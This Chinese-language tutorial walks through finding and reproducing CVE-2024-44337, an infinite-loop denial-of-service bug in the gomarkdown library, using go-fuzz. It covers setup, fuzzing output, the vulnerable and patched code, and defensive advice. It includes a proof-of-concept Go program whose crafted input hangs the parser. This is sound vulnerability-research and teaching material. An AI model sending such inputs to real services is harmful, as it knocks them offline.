CVE-2024-44337--手把手教你go-fuzz模糊测试引擎如何进行漏洞挖掘和复现
字数 1764 2025-08-23 18:31:09
Go-Fuzz模糊测试引擎实战:挖掘与复现CVE-2024-44337漏洞
1. 漏洞概述
CVE-2024-44337是gomarkdown项目中的一个重要漏洞,涉及输入处理不当导致的拒绝服务(DoS)问题。该漏洞存在于伪版本'v0.0.0-20240729232818-a2a9c4f'之前的版本中,攻击者可通过特制输入使程序进入无限循环,导致资源耗尽。
漏洞关键信息
- 影响组件:
github.com/gomarkdown/markdownGo库 - 漏洞位置:
parser/block.go文件的paragraph函数 - 漏洞类型:逻辑错误导致的无限循环
- 修复提交:a2a9c4f76ef5a5c32108e36f7c47f8d310322252
- 影响:远程攻击者可造成程序挂起并无限消耗资源
2. 漏洞成因分析
问题代码
if p.extensions&DefinitionLists != 0 {
if i < len(data)-1 && data[i+1] == ':' {
listLen := p.list(data[prev:], ast.ListTypeDefinition, 0, '.')
return prev + listLen
}
}
修复后代码
if p.extensions&DefinitionLists != 0 {
if i < len(data)-1 && data[i+1] == ':' {
listLen := p.list(data[prev:], ast.ListTypeDefinition, 0, '.')
if listLen > 0 {
return prev + listLen
}
}
}
漏洞原理
- 原始代码在调用
p.list()后直接返回prev + listLen,未验证listLen的有效性 - 当
p.list()返回0时,会导致return prev,使下次调用时prev不变 - 造成循环重复调用
p.list(),无法退出,形成无限循环
3. Go-Fuzz环境配置
系统要求
- 操作系统:Ubuntu 20.04
- Go版本:1.23.0
安装步骤
- 安装Go环境:
wget https://go.dev/dl/go1.23.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf ./go1.23.0.linux-amd64.tar.gz
- 配置环境变量:
vim ~/.bashrc
添加以下内容:
export GOROOT="/usr/local/go"
export GOPATH="/home/ub20/gowork"
export GOBIN=$GOPATH/bin
export PATH=$PATH:${GOPATH//://bin:}/bin:/usr/local/go/bin
- 创建工作目录:
mkdir -p gowork/{bin,src,pkg}
- 配置Go模块代理:
go env -w GO111MODULE=on
go env -w GOPROXY=https://goproxy.io,direct
- 安装go-fuzz工具:
go install github.com/dvyukov/go-fuzz/go-fuzz@latest
go install github.com/dvyukov/go-fuzz/go-fuzz-build@latest
源码编译安装(可选)
mkdir -p $GOPATH/src/github.com/dvyukov/go-fuzz
git clone https://github.com/dvyukov/go-fuzz.git $GOPATH/src/github.com/dvyukov/go-fuzz
cd $GOPATH/src/github.com/dvyukov/go-fuzz
go mod init
go get github.com/elazarl/go-bindata-assetfs
go get github.com/stephens2424/writerset
go get golang.org/x/tools/go/packages
go build -o go-fuzz-build ./go-fuzz-build
go build -o go-fuzz ./go-fuzz
go install ./go-fuzz
go install ./go-fuzz-build
4. Go-Fuzz核心架构与特性
主要组件
- Coordinator协调器:管理整体测试流程
- Hub中心:协调各工作节点
- Worker工作者:执行实际的模糊测试任务
关键特性
-
覆盖率引导的模糊测试:
- 通过代码插桩收集覆盖率信息
- 基于覆盖率引导输入变异
-
智能变异策略:
- 多种变异算法组合
- 结构化数据感知变异
-
持久化测试模式:
- 无需重启目标程序
- 持续积累测试状态
-
Sonar声呐技术:
- 精确代码路径追踪
- 针对性输入变异
-
Versifier结构反演:
- 理解数据结构
- 生成合法边界值
5. 漏洞挖掘实战流程
1. 准备目标项目
git clone https://github.com/gomarkdown/markdown.git
cd markdown
git checkout a2a9c4f76ef5a5c32108e36f7c47f8d310322252
2. 准备语料库
git clone https://github.com/PMunch/markdown-corpus.git
mkdir -p ./fuzz-workdir
cp -r markdown-corpus/corpus/* ./fuzz-workdir
3. 编写Fuzz测试代码
创建fuzz.go文件:
//go:build gofuzz
// +build gofuzz
package markdown
// Fuzz is to be used by https://github.com/dvyukov/go-fuzz
func Fuzz(data []byte) int {
Parse(data, nil)
return 0
}
4. 编译Fuzz测试
go mod init fuzz
go-fuzz-build
5. 执行模糊测试
go-fuzz -bin=./markdown-fuzz.zip -workdir=./fuzz-workdir
6. 分析测试输出
典型输出示例:
2024/10/15 18:18:21 workers: 4,
corpus: 969 (26s ago),
crashers: 1,
restarts: 1/8994,
execs: 557678 (18589/sec),
cover: 1927,
uptime: 30s
关键指标说明:
- workers:工作线程数
- corpus:测试用例数量
- crashers:发现的崩溃用例
- execs/sec:每秒执行次数
- cover:覆盖的代码块数
7. 检查崩溃用例
工作目录结构:
fuzz-workdir/
corpus/ # 测试用例集
crashers/ # 导致崩溃的输入
suppressions/ # 抑制规则
查看崩溃输入:
cat ./fuzz-workdir/crashers/6352b36848220fd923515ee94b6a90237024e28b.quoted
示例输出:
"|[][\xc5\r$\r\r$\n\r$\r\r%\r```" + "```\r: "
6. 漏洞复现验证
手动复现代码
package main
import (
"log"
"github.com/gomarkdown/markdown"
)
func main() {
str := "~~~~\xb4~\x94~\x94~\xd1\r\r:\xb4\x94\x94~\x9f~\xb4~\x94~\x94\x94"
data := []byte(str)
log.Println("Starting markdown parsing with manual input...")
markdown.Parse(data, nil)
log.Println("Parsing completed successfully.")
}
复现结果
程序将进入无限循环状态,需要手动终止:
2024/07/29 06:50:21 Starting markdown parsing with manual input...
^Csignal: interrupt
7. Go-Fuzz高级技巧
1. 语料库优化
- 收集各种边界用例
- 包含已知问题模式
- 保持多样性
2. 测试目标选择
- 优先测试复杂解析逻辑
- 关注输入处理函数
- 选择暴露给外部的接口
3. 性能调优
- 调整worker数量
- 优化测试超时设置
- 合理设置内存限制
4. 结果分析
- 分类崩溃用例
- 优先处理可稳定复现的问题
- 建立自动化分析流程
8. 防御建议
-
输入验证:
- 对所有输入进行严格验证
- 设置合理的处理超时
-
边界检查:
- 对所有返回值进行有效性验证
- 特别关注循环退出条件
-
模糊测试集成:
- 将模糊测试纳入CI流程
- 定期执行自动化测试
-
资源限制:
- 设置内存和CPU使用上限
- 实现看门狗机制
9. 参考资源
-
Go-Fuzz官方仓库:
https://github.com/dvyukov/go-fuzz -
gomarkdown项目:
https://github.com/gomarkdown/markdown -
相关Issue:
https://github.com/gomarkdown/markdown/issues/311 -
修复提交:
https://github.com/gomarkdown/markdown/commit/a2a9c4f76ef5a5c32108e36f7c47f8d310322252 -
模糊测试教程:
https://gowalker.org/github.com/dvyukov/go-fuzz